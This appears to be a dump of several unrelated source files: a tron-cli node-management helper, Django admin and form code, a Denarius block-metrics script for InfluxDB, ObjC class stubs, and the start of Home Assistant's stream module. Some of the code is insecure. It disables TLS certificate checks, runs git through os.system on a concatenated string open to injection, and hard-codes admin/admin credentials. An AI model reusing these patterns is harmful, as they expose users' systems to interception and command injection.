-71,87,-65,48,92,57,12,58,66,76,-51,-97,-44,30,38,-86,91,-26,-40,-61,-18,1,-90,-81,-83,61,-22,-68,-54,-38,50,-48,-50,61,76,-58,-4,-11,76,-38,-58,-97,-59,-26,32,56,-13,24,-70,24,39,-12,-75,48,7,-59,-13,61,-51,32,-76,75,60,-27,37,37,-9,-67,-97,-33,-29,-56,-54,-11,-5,78,-55,58,-21,-49,-18,-82,39,7,66,-77,24,-70,83,50,38,83,25,-1,-44,-38,-64,46,-29,-62,90,19,-42,-64,-92,52,90],[-71,11,-31,-21,69,-36,94,-24,-93,-83,77,-64,77,27,73,60,-48,-28,93,-9,-16,16,38,21,6,-66,79,19,-59,8,9,-54,95,55,25,65,-81,19,-59,-75,13,94,-63,-10,21,-90,-73,50,-41,-80,-82,42,36,55,-59,-81,66,96,37,-93,4,-53,-47,0,78,54,-35,96,-50,-18,97,62,-23,-66,-71,74,-80,-44,1,-45,-48,-5,74,87,-49,-85,83,-83,-89,20,99,-9,43,-71,67,21,82,-68,-6,-67,-9,-32,71,44,1,-99,-5,-2,-67,73,52,-16,-32,26,-51,18,17,-68,11,27,51,-12,95,-28,-7,62,92,-24,71,-36,-15,-38,31,-44,82,-90,-67,-23,7,-35,-50,-64,26,18,62,74,-87,-44,-94,1,83,33,65,55,-95,-42,17,74,10,-35,-85,94,3,45,-72,-15,31,-63,39,-62,-21,88,-26,-95,-17,-87,78,-27,-32,60,73,-72,-30,15,59,-25,72,-46,-74,-17,18,-60],[-46,-78,61,-42,-17,-7,-5,-78,7,50,87,57,54,-30,46,9,19,91,-31,-31,-81,38,83,55,89,33,-91,91,-84,26,-92,-54,24,69,4,-92,-61,75,-71,22,25,-84,-20,-21,-37,-97,64,58,93,-67,-72,89,47,-89,44,37,43,52,28,35,-22,36,81,79,-18,-38,86,-3,-86,91,-81,15,84,-25,70,-76,-22,34,81,-29,66,-91,-40,13,96,-96,-73,16,32,32,-71,-89,-32,86,66,26,-75,52,-77,-62,43,-59,52,4,-7,22,27,70,-44,9,-59,98,-6,-22,-12,-33,-42,15,83,90,-53,88,77,-9,74,43,-83,98,-28,-84,-87,91,-67,64,-4,25,-37,-77,-5,-5,8,13,-7,-97,67,80,-54,-75,-28,-94,91,-5,93,68,85,67,-12,78,42,59,93,54,51,-96,-5,-76,28,34,-54,-99,-71,31,-10,-2,10,-66,-21,55,-42,27,61,-73,-77,54,71,-92,-1,-40,63,-82,95,56,49],[46,59,-56,69,-35,55,92,-35,83,23,31,-18,-67,64,37,64,98,-36,25,-75,-14,-20,96,-29,55,-67,-66,72,-72,66,21,51,3,42,-3,67,-3,-34,-91,-43,88,39,15,97,-20,-48,39,-22,-7,-36,-20,55,20,-47,-74,-25,-38,-64,-52,-11,-97,45,-83,5,-13,14,-51,60,79,-43,-82,45,72,9,19,-48,61,-42,6,-69,22,62,62,-81,91,88,-6,-47,-99,18,19,-97,-60,35,-16,27,-51,32,-13,-94,88,-19,27,37,90,-54,65,28,4,-28,35,-97,-89,-3,97,-97,-38,-9,-45,-37,85,73,-58,-74,-14,26,29,11,-65,92,16,-76,-49,-57,37,-59,-34,3,45,46,51,-20,25,61,53,22,40,-84,90,95,-45,75,45,-4,77,-69,98,6,42,-66,-24,-65,-66,26,-45,70,66,20,-50,-12,-34,-99,44,67,39,-3,-11,-21,-11,-21,-49,20,-68,96,-83,-91,-96,91,-8,22,-98,67,57,-65],[-7,-88,82,-64,8,-91,23,50,-90,-56,17,25,40,82,-96,-93,-38,-45,26,-7,-72,19,-22,-69,-12,69,53,-11,13,-13,1,-94,-2,-17,-59,82,-9,40,9,-23,83,-74,78,1,84,82,7,-54,-86,-90,15,-59,29,93,-52,-83,39,-99,-18,-47,-13,82,-42,61,-58,-24,20,10,92,-71,86,76,-69,42,-46,-84,24,60,-62,14,46,53,54,-25,23,78,-32,-38,79,50,14,-57,9,49,-95,51,-98,1,-39,93,30,-76,69,60,65,-77,52,-34,59,90,79,6,20,10,57,-57,-11,-97,4,-55,29,95,-13,-62,44,-32,65,45,69,-74,15,-1,-50,-15,-64,91,-16,65,-42,-79,55,-63,26,-25,24,-40,17,-87,-61,97,-66,67,92,20,82,13,88,47,-65,34,73,50,-67,99,-88,-55,90,-28,-90,-52,-8,41,-38,94,92,85,-45,-14,74,-7,-16,-92,-62,-47,4,96,43,-31,43,77,-97,-7,4,-65,-31],[-8,-43,-63,64,-57,-39,-44,84,22,-49,53,-16,-18,-60,-65,51,0,-81,88,29,23,61,-28,91,-18,-73,94,51,7,-94,-79,99,-61,-66,63,-18,-6,-81,-57,93,-31,95,-46,50,-88,-11,2,11,-16,-33,-82,-93,-71,-11,75,-13,-8,46,-62,99,28,-42,98,67,-9,61,-74,62,56,-32,55,-97,-60,-91,29,-48,-26,-69,39,58,-25,56,41,-20,-77,16,66,-9,-61,-96,-10,67,-61,-35,34,6,-97,59,-32,59,-96,-77,61,-57,-91,-10,-29,-18,-2,87,-60,49,20,81,-94,42,-26,71,-89,13,51,0,-20,66,65,90,-27,44,49,17,3,29,40,-59,71,25,8,-80,-93,82,-93,-53,8,26,-95,13,-54,-22,-39,-44,90,-88,32,-30,78,-26,-40,-72,-81,85,44,-2,14,-39,16,-37,85,-99,-18,92,59,-35,-84,-33,67,-80,56,89,-26,-83,-78,-35,-72,54,11,82,-95,71,86,99,33,31,-25,-75,68,67]]))
py
1a4ce2ce89ce8fbc452fec1c74ab0d9fcb469662
#!/usr/bin/env python3 import os import requests import json import sys import psutil import subprocess import re from colorama import Fore, Style, Back from tqdm import tqdm import urllib3 from troncli.constants import * """ Printing Messages """ def logo_simple(): print(Fore.RED + Style.BRIGHT + '') print(' _________ ____ _ __ _______ ____') print('/_ __/ _ \/ __ \/ |/ /___/ ___/ / / _/') print(' / / / , _/ /_/ / /___/ /__/ /___/ / ') print('/_/ /_/|_|\____/_/|_/ \___/____/___/ ') print(Fore.RESET + Style.RESET_ALL + '') def logo_shadow(): print(Fore.RED + '') print('████████╗██████╗ ██████╗ ███╗ ██╗ ██████╗██╗ ██╗') print('╚══██╔══╝██╔══██╗██╔═══██╗████╗ ██║ ██╔════╝██║ ██║') print(' ██║ ██████╔╝██║ ██║██╔██╗ ██║█████╗██║ ██║ ██║') print(' ██║ ██╔══██╗██║ ██║██║╚██╗██║╚════╝██║ ██║ ██║') print(' ██║ ██║ ██║╚██████╔╝██║ ╚████║ ╚██████╗███████╗██║') print(' ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═════╝╚══════╝╚═╝') print(Fore.RESET + '') def progress_msg(content): print(Fore.CYAN + '[ TRON-CLI ]: ' + content + '...' + Fore.RESET) def imode_msg(content): print(Back.BLUE + Fore.WHITE + Style.BRIGHT + '[ I-MODE ]: ' + Style.NORMAL + content + Fore.RESET + Back.RESET + Style.RESET_ALL) def success_msg(content): print(Fore.GREEN + '✓ : ' + content + Fore.BLACK) def warning_msg(content): print(Fore.YELLOW + '⚠ : ' + content) def error_msg(content): print(Fore.RED + '✖ : ' + content) def info_msg(content): print(Fore.MAGENTA + 'ⓘ: ' + content + Fore.RESET) def info_msg_div(): print(Fore.MAGENTA + '------------------' + Fore.RESET) def status_msg(category, detail): if sys.stdout.isatty() and psutil.POSIX: fmt = '%-13s %s' % (Fore.BLUE + Style.BRIGHT + str(category), Fore.RESET + Style.RESET_ALL + str(detail)) else: fmt = '%-11s %s' % (category, detail) print(fmt) def status_msg_div(): print(Fore.BLUE + Style.BRIGHT + '------------------' + Fore.RESET + Style.RESET_ALL) def msg(content): print(Fore.WHITE + ' ' + content + Fore.RESET) def debug(content): print(Fore.YELLOW + Style.BRIGHT + 'DEBUG: ' + content + Fore.RESET + Style.RESET_ALL) def node_instruction(): info_msg('Tips: ') info_msg('Check overall status:') msg('tron-cli status') info_msg('Check specific node status:') msg('tron-cli status --node <node id>') info_msg('Stop all nodes:') msg('tron-cli stop') info_msg('Stop specific node:') msg('tron-cli stop --node <node id>') def node_cmds(node_id): info_msg('CMD Tips: ') info_msg('Check overall status:') msg('tron-cli status') info_msg('Check current node status:') msg('tron-cli status --node ' + str(node_id)) info_msg('Stop all nodes:') msg('tron-cli stop') info_msg('Stop current node:') msg('tron-cli stop --node ' + str(node_id)) def recommendation(): info_msg_div() info_msg('Hardware recommendation for running a full node: ') msg('CPU: 64 cores') msg('RAM: 64 GB') info_msg_div() def log_location(root_path, node_type): if node_type == 'full': return root_path + NODES_DIR + FULL_NODE_DIR + '/logs/tron.log' elif node_type == 'sol': return root_path + NODES_DIR + SOLIDITY_NODE_DIR + '/logs/tron.log' else: return 'not recording logs' """ Node List """ class Node(object): def __init__(self): self.root_path = os.getcwd() # load or init node list file if os.path.isfile(self.root_path + '/' + RUNNING_NODE_LIST_FILE): phrase = Phrase() self.node_list = phrase.load_json_file(self.root_path + '/' + RUNNING_NODE_LIST_FILE) else: self.node_list = {'live': {'full': [], 'sol': [], 'event': [], 'grid': [], 'all': [], 'version': ''}, 'db': {'dbname': '', 'dbusername': '', 'dbpassword': ''}, 'config': {'nettype': 'private', 'fullhttpport': 8500, 'solhttpport': 8600, 'eventhttpport': 8400, 'fullrpcport': 58500, 'solrpcport': 58600, 'eventrpcport': 58400, 'enablememdb': 'True', 'dbsyncmode': 'async', 'saveintertx': 'False', 'savehistorytx': 'False', 'gridport': 18891, 'dbname': 'Null', 'dbusername': 'Null', 'dbpassword': 'Null'}, 'init_ed': False, 'config_ed': False } def get(self): return self.node_list def save(self): with open(self.root_path + '/' + RUNNING_NODE_LIST_FILE, 'w') as file: file.write(json.dumps(self.node_list)) def reset_config(self): self.node_list['config'] = {'nettype': 'private', 'fullhttpport': 8500, 'solhttpport': 8600, 'eventhttpport': 8400, 'fullrpcport': 58500, 'solrpcport': 58600, 'eventrpcport': 58400, 'enablememdb': 'True', 'dbsyncmode': 'async', 'saveintertx': 'False', 'savehistorytx': 'False', 'gridport': 18891, 'dbname': 'Null', 'dbusername': 'Null', 'dbpassword': 'Null'} self.save() async def update_init_done(self, flag): self.node_list['init_ed'] = flag self.save() async def update_config_done(self, flag): self.node_list['config_ed'] = flag self.save() async def update_node_version(self, version): self.node_list['live']['version'] = version self.node_list['init_ed'] = True # need to move this logic back to cli.py self.save() async def update_running_node(self, node_type, pid, execution): """ node_type: "full" / "sol" / "event" / "grid" pid: int execution: "add" / "remove" """ if execution == 'add': self.node_list['live'][node_type].append(pid) self.node_list['live']['all'].append(pid) elif execution == 'remove': if pid in self.node_list['live']['full']: self.node_list['live']['full'].remove(pid) self.node_list['live']['all'].remove(pid) elif pid in self.node_list['live']['sol']: self.node_list['live']['sol'].remove(pid) self.node_list['live']['all'].remove(pid) elif pid in self.node_list['live']['event']: self.node_list['live']['event'].remove(pid) self.node_list['live']['all'].remove(pid) elif pid in self.node_list['live']['grid']: self.node_list['live']['grid'].remove(pid) self.node_list['live']['all'].remove(pid) else: warning_msg('process id: ' + str(pid) + ' not in the running node list') else: error_msg('wrong execution key word: ' + str(execution)) self.save() # with open(self.root_path + '/' + RUNNING_NODE_LIST_FILE, 'w') as file: # file.write(json.dumps(self.node_list)) async def update_db_settings(self, dbname, dbusername, dbpassword): self.node_list['db']['dbname'] = dbname self.node_list['db']['dbusername'] = dbusername self.node_list['db']['dbpassword'] = dbpassword self.save() # with open(self.root_path + '/' + RUNNING_NODE_LIST_FILE, 'w') as file: # file.write(json.dumps(self.node_list)) async def update_config(self, nettype, fullhttpport, solhttpport, eventhttpport, fullrpcport, solrpcport, eventrpcport, enablememdb, dbsyncmode, saveintertx, savehistorytx, gridport, dbname, dbusername, dbpassword): self.node_list['config']['nettype'] = nettype self.node_list['config']['fullhttpport'] = fullhttpport self.node_list['config']['solhttpport'] = solhttpport self.node_list['config']['eventhttpport'] = eventhttpport self.node_list['config']['fullrpcport'] = fullrpcport self.node_list['config']['solrpcport'] = solrpcport self.node_list['config']['eventrpcport'] = eventrpcport self.node_list['config']['enablememdb'] = enablememdb self.node_list['config']['dbsyncmode'] = dbsyncmode self.node_list['config']['saveintertx'] = saveintertx self.node_list['config']['savehistorytx'] = savehistorytx self.node_list['config']['gridport'] = gridport self.node_list['config']['dbname'] = dbname self.node_list['config']['dbusername'] = dbusername self.node_list['config']['dbpassword'] = dbpassword self.node_list['config_ed'] = True self.save() """ Download """ async def download(file_name, url_string): with open(file_name, 'wb') as f: # remove ssl warnings urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) try: resp = requests.get(url_string + '/' + file_name, verify=False, stream=True) except OSError as err: # pbar.update(0) error_msg('OS Error -' + str(err)) os.sys.exit() else: with tqdm(total=100) as pbar: total_length = resp.headers.get('content-length') if total_length is None: pbar.update(100) pbar.close() f.write(resp.content) else: _chunk_num = 10 _chunk_size = int(int(total_length) / _chunk_num) + 1 for data in resp.iter_content(chunk_size=_chunk_size): f.write(data) pbar.update(_chunk_num) pbar.close() async def git_clone(host, branch, tar_path): progress_msg('Git cloning ' + host + '-branch: ' + branch) cmd = 'git clone --single-branch -b ' + branch + ' ' + host cmd += ' ' + tar_path # _process = subprocess.Popen("exec " + cmd, stdout=subprocess.PIPE, shell=True) try: os.system(cmd) except OSError as err: error_msg('OS Error -' + str(err)) os.sys.exit() async def gradlew_build(task): cmd = './gradlew build -x test' try: os.system(cmd) except OSError as err: error_msg('OS Error -' + str(err)) os.sys.exit() else: success_msg(task + ' gradlew build finished') """ Phrase """ class Phrase(object): @staticmethod def convert_bytes(n): symbols = ('K', 'M', 'G', 'T', 'P', 'E', 'Z', 'Y') prefix = {} for i, s in enumerate(symbols): prefix[s] = 1 << (i + 1) * 10 for s in reversed(symbols): if n >= prefix[s]: value = float(n) / prefix[s] return '%.1f%s' % (value, s) return "%sB" % n @staticmethod def load_json_file(json_file_path): f = open(json_file_path) _json_props = json.load(f) f.close() return _json_props def store_json2properties_to_file(self, json_props, target_file_path): """ convert json to properties and store in target file """ _properties = self.json2properties(json_props) _properties_str_formatted = self.properties2str(_properties) f = open(target_file_path, 'w') f.write(_properties_str_formatted) f.close() def store_json2javabeanconfig_to_file(self, json_props, target_file_path): """ convert json to properties and store in target file """ _properties = self.json2properties(json_props) _properties_str_formatted = self.properties2str_bean(_properties) f = open(target_file_path, 'w') f.write(_properties_str_formatted) f.close() @staticmethod def properties2str(properties_props): """ convert properties to string, and change format """ _formatted_str = str(properties_props) _formatted_str = re.sub("}, '", "},\n\n'", _formatted_str) _formatted_str = re.sub("':", ":", _formatted_str) _formatted_str = re.sub("' ", "", _formatted_str) _formatted_str = re.sub("'", "\"", _formatted_str) return _formatted_str @staticmethod def properties2str_bean(properties_props): """ convert properties to string, and change format """ _formatted_str = str(properties_props) _formatted_str = re.sub("}, '", "},\n\n'", _formatted_str) _formatted_str = re.sub("':", ":", _formatted_str) _formatted_str = re.sub("' ", "", _formatted_str) _formatted_str = re.sub("'", "\"", _formatted_str) _formatted_str = re.sub(":", " =", _formatted_str) _formatted_str = re.sub(", ", "\r", _formatted_str) _formatted_str = re.sub("\"", "", _formatted_str) return _formatted_str[1:-1] @staticmethod def json2properties(json_props): """ Credit: this function is based on the phrase code in the project: echinopsii/net.echinopsii.ariane.community.cli.python3. """ properties = {} if isinstance(json_props, list): for prop in json_props: if isinstance(prop['propertyValue'], list): properties[prop['propertyName']] = prop['propertyValue'][1] elif isinstance(prop['propertyValue'], dict): map_property = {} for prop_key, prop_value in prop['propertyValue'].items(): if prop_value.__len__() > 1: map_property[prop_key] = prop_value[1] else: print('json2properties - ' + prop_key + ' will be ignored as its definition is incomplete...') properties[prop['propertyName']] = map_property elif prop['propertyType'] == 'array': j_data = json.loads(prop['propertyValue']) if j_data.__len__() > 1: if j_data[0] == 'map': t_data = [] for amap in j_data[1]: t_data.append(DriverTools.json_map2properties(amap)) properties[prop['propertyName']] = t_data elif j_data[0] == 'array': t_data = [] for ar in j_data[1]: t_data.append(DriverTools.json_array2properties(ar)) properties[prop['propertyName']] = t_data else: properties[prop['propertyName']] = j_data[1] else: print('json2properties - ' + prop['propertyName'] + ' will be ignored as its definition is incomplete...') elif prop['propertyType'] == 'map': j_data = json.loads(prop['propertyValue']) map_property = DriverTools.json_map2properties(j_data) properties[prop['propertyName']] = map_property else: properties[prop['propertyName']] = prop['propertyValue'] else: properties = json_props return properties @staticmethod def str2xml_to_file(xml_str, target_file_path): """ use xml string to create logback xml file """ f = open(target_file_path, 'w+') f.write(xml_str)
py
1a4ce31bcd51d08dc10296059ee53a8ef736a9ad
from django.contrib import admin from django.db.models import TextField from django.forms import Textarea from .models import Job, Analysis, Project, Access, Data @admin.register(Access) class AccessAdmin(admin.ModelAdmin): list_select_related = ( 'user', 'project', ) readonly_fields = ( 'user', ) pass @admin.register(Data) class DataAdmin(admin.ModelAdmin): formfield_overrides = { TextField: {'widget': Textarea(attrs={'rows': 20, 'cols': 100})}, } search_fields = ('name', 'owner__first_name', 'owner__email', 'state', "project__name", "project__owner__first_name", "project__owner__email", "id", "uid") list_display = ("name", "project", "lastedit_date", "date", 'size', 'type') list_filter = ("project__name", "deleted") fieldsets = (("Data Metadata", {'fields': ("name", "owner", "image", "deleted", 'type', 'rank'), #"file"), "classes": ('extrapretty')} ), ("Optional Text Inputs", {'fields': (("text", )), "classes": ("collapse", 'extrapretty')} ), ) pass @admin.register(Job) class JobAdmin(admin.ModelAdmin): formfield_overrides = { TextField: {'widget': Textarea(attrs={'rows': 20, 'cols': 100})}, } search_fields = ('name', 'owner__first_name', 'owner__email', 'state', "project__name", "project__owner__first_name", "project__owner__email", "id", "uid") list_display = ("name", "state", "start_date", "security", "date") list_filter = ("state", "security", "project__name", "deleted") fieldsets = (("Job Metadata", {'fields': ("name", "owner", 'project', ("uid"), ("state", "security"), "image"), "classes": ('extrapretty')} ), ("Optional Text Inputs", {'fields': (("text", "html")), "classes": ("collapse", 'extrapretty')} ), ("Run Time Settings", {'fields': ("json_text", "template"), "classes": ("wide", 'extrapretty')}, ), ) @admin.register(Analysis) class AnalysisAdmin(admin.ModelAdmin): formfield_overrides = { TextField: {'widget': Textarea(attrs={'rows': 20, 'cols': 100})}, } search_fields = ('name', 'text', 'owner__first_name', 'owner__email', "project__name", "project__owner__first_name", "project__owner__email", "id", "uid") list_display = ("name", "date", "security") list_filter = ("security", "project__name", "deleted") fieldsets = (("Analysis Metadata", {'fields': ("name", "owner", 'project', ("uid", "rank"), ("deleted", "security"), "image", 'root'), "classes": ('extrapretty')} ), ("Optional Text Inputs", {'fields': (("text", "html")), "classes": ("collapse", 'extrapretty')} ), ("Run Time Settings", {'fields': ("json_text", "template"), "classes": ("wide", 'extrapretty')}, ), ) @admin.register(Project) class ProjectAdmin(admin.ModelAdmin): formfield_overrides = { TextField: {'widget': Textarea(attrs={'rows': 20, 'cols': 100})}, } search_fields = ('name', 'text', 'owner__first_name', 'owner__email', 'owner__username', "id", "uid") list_display = ("name", "date", "deleted", 'privacy', 'owner') list_filter = ("deleted", 'privacy') fieldsets = (("Project Metadata", {'fields': ("name", "owner", ("uid", "rank"), "deleted", "image", "privacy", 'sharable_token'), "classes": ('extrapretty')} ), ("Optional Text Inputs", {'fields': ("text",), "classes": ("collapse", 'extrapretty')} ), )
py
1a4ce32bc3235f58773177007d5bf1a6e0ed56f3
from denariusrpc.authproxy import AuthServiceProxy, JSONRPCException import time import sys import datetime import urllib import json from influxdb import InfluxDBClient # rpc_user and rpc_password are set in the denarius.conf file rpc_connection = AuthServiceProxy("http://%s:%[email protected]:32369"%("rpcuser", "rpcpassword")) #test blocktest = rpc_connection.getblockcount() print(blocktest) #for i in range(3): # print(i) # block = rpc_connection.getblockbynumber(i) # print(block) # Configure InfluxDB connection variables host = "127.0.0.1" # My Ubuntu NUC port = 8086 # default port user = "admin" # the user/password with write access password = "admin" dbname = "blocks" # the database we created earlier interval = 60 # Sample period in seconds # Create the InfluxDB client object client = InfluxDBClient(host, port, user, password, dbname) # think of measurement as a SQL table, it's not...but... measurement = "measurement" # location will be used as a grouping tag later blockchain = "denarius" # Run until you get a ctrl^c #def main(): import time #for i in range(2499428, 2499437): # print(i) blockcount = rpc_connection.getblockcount() block = rpc_connection.getblockbynumber(blockcount) grafanatime = block['time'] * 1000000000 hash = block['hash'] size = block['size'] height = block['height'] version = block['version'] merkleroot = block['merkleroot'] mint = int(block['mint']) timed = block['time'] nonce = block['nonce'] bits = block['bits'] difficulty = float(block['difficulty']) blocktrust = block['blocktrust'] chaintrust = block['chaintrust'] chainwork = block['chainwork'] previousblockhash = block['previousblockhash'] #nextblockhash = block['nextblockhash'] flags = block['flags'] proofhash = block['proofhash'] entropybit = block['entropybit'] modifier = block['modifier'] modifierchecksum = block['modifierchecksum'] data = [ { "measurement": measurement, "tags": { "blockchain": blockchain, }, "time": grafanatime, "fields": { #"block" : i, "hash" : hash, "size" : size, "height" : height, "version" : version, "merkleroot" : merkleroot, "mint" : mint, "time" : timed, "nonce" : nonce, "bits" : bits, "difficulty" : difficulty, "blocktrust" : blocktrust, "chaintrust" : chaintrust, "chainwork" : chainwork, # "nextblockhash" : nextblockhash, "flags" : flags, "proofhash" : proofhash, "entropybit" : entropybit, "modifier" : modifier, "modifierchecksum" : modifierchecksum } } ] # Send the JSON data to InfluxDB print(difficulty) client.write_points(data)
py
1a4ce3461302a8c58eb21b6606912331b6f5e08e
''' Classes from the 'AssetsLibraryServices' framework. ''' try: from rubicon.objc import ObjCClass except ValueError: def ObjCClass(name): return None def _Class(name): try: return ObjCClass(name) except NameError: return None PLAutoBindingBlackholeProxy = _Class('PLAutoBindingBlackholeProxy') PLAppPrivateData = _Class('PLAppPrivateData') PLVolumeInfo = _Class('PLVolumeInfo') PLDiskController = _Class('PLDiskController') PLAssetsdClientXPCConnection = _Class('PLAssetsdClientXPCConnection') PLAutoBindingProxyFactory = _Class('PLAutoBindingProxyFactory') PLXPCMessageLogger = _Class('PLXPCMessageLogger') PLLazyObject = _Class('PLLazyObject') PLAtomicObject = _Class('PLAtomicObject') PLFileSystemPersistenceAttributes = _Class('PLFileSystemPersistenceAttributes') PLFileSystemPersistenceBatchItem = _Class('PLFileSystemPersistenceBatchItem') PLFileSystemPersistence = _Class('PLFileSystemPersistence') PLFileSystemCapabilities = _Class('PLFileSystemCapabilities') PLCoreAnalyticsEvent = _Class('PLCoreAnalyticsEvent') PLAssetsdInterface = _Class('PLAssetsdInterface') PLPhotoLibraryPathManager = _Class('PLPhotoLibraryPathManager') PLPrivacy = _Class('PLPrivacy') PLImageFormat = _Class('PLImageFormat') PLExclusiveFileLock = _Class('PLExclusiveFileLock') PLNonBindingAssetsdClient = _Class('PLNonBindingAssetsdClient') PLAssetFormatsCore = _Class('PLAssetFormatsCore') PLAssetsdClient = _Class('PLAssetsdClient') PLSecurity = _Class('PLSecurity') PLAssetsdServiceProxyFactory = _Class('PLAssetsdServiceProxyFactory') PLResult = _Class('PLResult') PLAssetsdClientSandboxExtensions = _Class('PLAssetsdClientSandboxExtensions') PLImportFileManager = _Class('PLImportFileManager') PLFileUtilities = _Class('PLFileUtilities') PLGatekeeperClient = _Class('PLGatekeeperClient') PLImageDataInfo = _Class('PLImageDataInfo') PLCPLDownloadContext = _Class('PLCPLDownloadContext') PLLibraryServicesStateNode = _Class('PLLibraryServicesStateNode') PLSandboxHelper = _Class('PLSandboxHelper') PLBuildVersion = _Class('PLBuildVersion') PLCoreAnalyticsEventManager = _Class('PLCoreAnalyticsEventManager') PLFormatChooser = _Class('PLFormatChooser') PLLibraryBookmarkManager = _Class('PLLibraryBookmarkManager') PLQueryBuilder = _Class('PLQueryBuilder') PLDeviceConfiguration = _Class('PLDeviceConfiguration') PLAssetsdClientService = _Class('PLAssetsdClientService') PLPhotoDCIMDirectory = _Class('PLPhotoDCIMDirectory') PLCPLPlistHandler = _Class('PLCPLPlistHandler') PLXPCObject = _Class('PLXPCObject') PLXPCShMemObject = _Class('PLXPCShMemObject') PLXPCDictionary = _Class('PLXPCDictionary') PLXPCFileDescriptor = _Class('PLXPCFileDescriptor') PLXPCGenericObject = _Class('PLXPCGenericObject') PLXPCTransaction = _Class('PLXPCTransaction') PLCIFilterUtilities = _Class('PLCIFilterUtilities') PLPhotoLibraryFileIdentifier = _Class('PLPhotoLibraryFileIdentifier') PLPhotoLibraryPathManagerCore = _Class('PLPhotoLibraryPathManagerCore') PLPhotoLibraryPathManagerDCIM = _Class('PLPhotoLibraryPathManagerDCIM') PLPhotoLibraryPathManagerUBF = _Class('PLPhotoLibraryPathManagerUBF') PLPositionalImageTable = _Class('PLPositionalImageTable') PLThumbnailManagerCore = _Class('PLThumbnailManagerCore') PLThumbFileManagerCore = _Class('PLThumbFileManagerCore') PLMigrationServiceOptions = _Class('PLMigrationServiceOptions') PLAssetsdBaseClient = _Class('PLAssetsdBaseClient') PLAssetsdResourceClient = _Class('PLAssetsdResourceClient') PLAssetsdDiagnosticsClient = _Class('PLAssetsdDiagnosticsClient') PLAssetsdSystemLibraryURLReadOnlyClient = _Class('PLAssetsdSystemLibraryURLReadOnlyClient') PLAssetsdCloudClient = _Class('PLAssetsdCloudClient') PLAssetsdPrivacySupportClient = _Class('PLAssetsdPrivacySupportClient') PLAssetsdResourceInternalClient = _Class('PLAssetsdResourceInternalClient') PLAssetsdPhotoKitAddClient = _Class('PLAssetsdPhotoKitAddClient') PLAssetsdMigrationClient = _Class('PLAssetsdMigrationClient') PLAssetsdCloudInternalClient = _Class('PLAssetsdCloudInternalClient') PLAssetsdLibraryManagementClient = _Class('PLAssetsdLibraryManagementClient') PLAssetsdLibraryInternalClient = _Class('PLAssetsdLibraryInternalClient') PLAssetsdDebugClient = _Class('PLAssetsdDebugClient') PLAssetsdResourceAvailabilityClient = _Class('PLAssetsdResourceAvailabilityClient') PLAssetsdDemoClient = _Class('PLAssetsdDemoClient') PLAssetsdSyncClient = _Class('PLAssetsdSyncClient') PLAssetsdPhotoKitClient = _Class('PLAssetsdPhotoKitClient') PLAssetsdResourceWriteOnlyClient = _Class('PLAssetsdResourceWriteOnlyClient') PLAssetsdLibraryClient = _Class('PLAssetsdLibraryClient') PLAssetsdNotificationClient = _Class('PLAssetsdNotificationClient') PLPhotoDCFObject = _Class('PLPhotoDCFObject') PLPhotoDCFFileGroup = _Class('PLPhotoDCFFileGroup') PLPhotoDCFDirectory = _Class('PLPhotoDCFDirectory') PLSingleQuery = _Class('PLSingleQuery') PLQuery = _Class('PLQuery') PLLibraryServicesOperation = _Class('PLLibraryServicesOperation') PLUUIDString = _Class('PLUUIDString') PLSandboxedURL = _Class('PLSandboxedURL') PLXPCShMemData = _Class('PLXPCShMemData')
py
1a4ce36fba0fcdc320c9b2bbf5ccf3c15cbdd7b5
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.forms import widgets from django.forms.util import ErrorList from django.core.exceptions import ValidationError class PartialFormField(object): """ Behave similar to django.forms.Field, encapsulating a partial dictionary, stored as JSONField in the database. """ def __init__(self, name, widget, label=None, initial='', help_text='', error_class=ErrorList): if not name: raise AttributeError('The field must have a name') self.name = name if not isinstance(widget, widgets.Widget): raise AttributeError('The field `widget` must be derived from django.forms.widgets.Widget') self.label = label or name self.widget = widget self.initial = initial self.help_text = help_text self.error_class = error_class def run_validators(self, value): if not callable(getattr(self.widget, 'validate', None)): return errors = [] if callable(getattr(self.widget, '__iter__', None)): for field_name in self.widget: try: self.widget.validate(value.get(self.name), field_name) except ValidationError as e: if isinstance(getattr(e, 'params', None), dict): e.params.update(label=self.label) messages = self.error_class([m for m in e.messages]) errors.extend(messages) else: try: self.widget.validate(value.get(self.name)) except ValidationError as e: if isinstance(getattr(e, 'params', None), dict): e.params.update(label=self.label) errors = self.error_class([m for m in e.messages]) if errors: raise ValidationError(errors) def get_element_ids(self, prefix_id): """ Returns a single or a list of element ids, one for each input widget of this field """ if isinstance(self.widget, widgets.MultiWidget): ids = ['{0}_{1}_{2}'.format(prefix_id, self.name, field_name) for field_name in self.widget] elif isinstance(self.widget, (widgets.SelectMultiple, widgets.RadioSelect)): ids = ['{0}_{1}_{2}'.format(prefix_id, self.name, k) for k in range(len(self.widget.choices))] else: ids = ['{0}_{1}'.format(prefix_id, self.name)] return ids
py
1a4ce3d92e8859fd3b3b8bb6dea86fbbf6ebc149
"""Provide functionality to stream video source. Components use create_stream with a stream source (e.g. an rtsp url) to create a new Stream object. Stream manages: - Background work to fetch and decode a stream - Desired output formats - Home Assistant URLs for viewing a stream - Access tokens for URLs for viewing a stream A Stream consists of a background worker, and one or more output formats each with their own idle timeout managed by the stream component. When an output format is no longer in use, the stream component will expire it. When there are no active output formats, the background worker is shut down and access tokens are expired. Alternatively, a Stream can be configured with keepalive to always keep workers active. """ from __future__ import annotations from collections.abc import Callable, Mapping import logging import re import secrets import threading import time from types import MappingProxyType from typing import cast import voluptuous as vol from homeassistant.const import EVENT_HOMEASSISTANT_STOP from homeassistant.core import Event, HomeAssistant, callback from homeassistant.exceptions import HomeAssistantError import homeassistant.helpers.config_validation as cv from homeassistant.helpers.typing import ConfigType from .const import ( ATTR_ENDPOINTS, ATTR_SETTINGS, ATTR_STREAMS, CONF_LL_HLS, CONF_PART_DURATION, CONF_SEGMENT_DURATION, DOMAIN, HLS_PROVIDER, MAX_SEGMENTS, OUTPUT_IDLE_TIMEOUT, RECORDER_PROVIDER, SEGMENT_DURATION_ADJUSTER, STREAM_RESTART_INCREMENT, STREAM_RESTART_RESET_TIME, TARGET_SEGMENT_DURATION_NON_LL_HLS, ) from .core import PROVIDERS, IdleTimer, KeyFrameConverter, StreamOutput, StreamSettings from .hls import HlsStreamOutput, async_setup_hls _LOGGER = logging.getLogger(__name__) STREAM_SOURCE_REDACT_PATTERN = [ (re.compile(r"//.*:.*@"), "//****:****@"), (re.compile(r"\?auth=.*"), 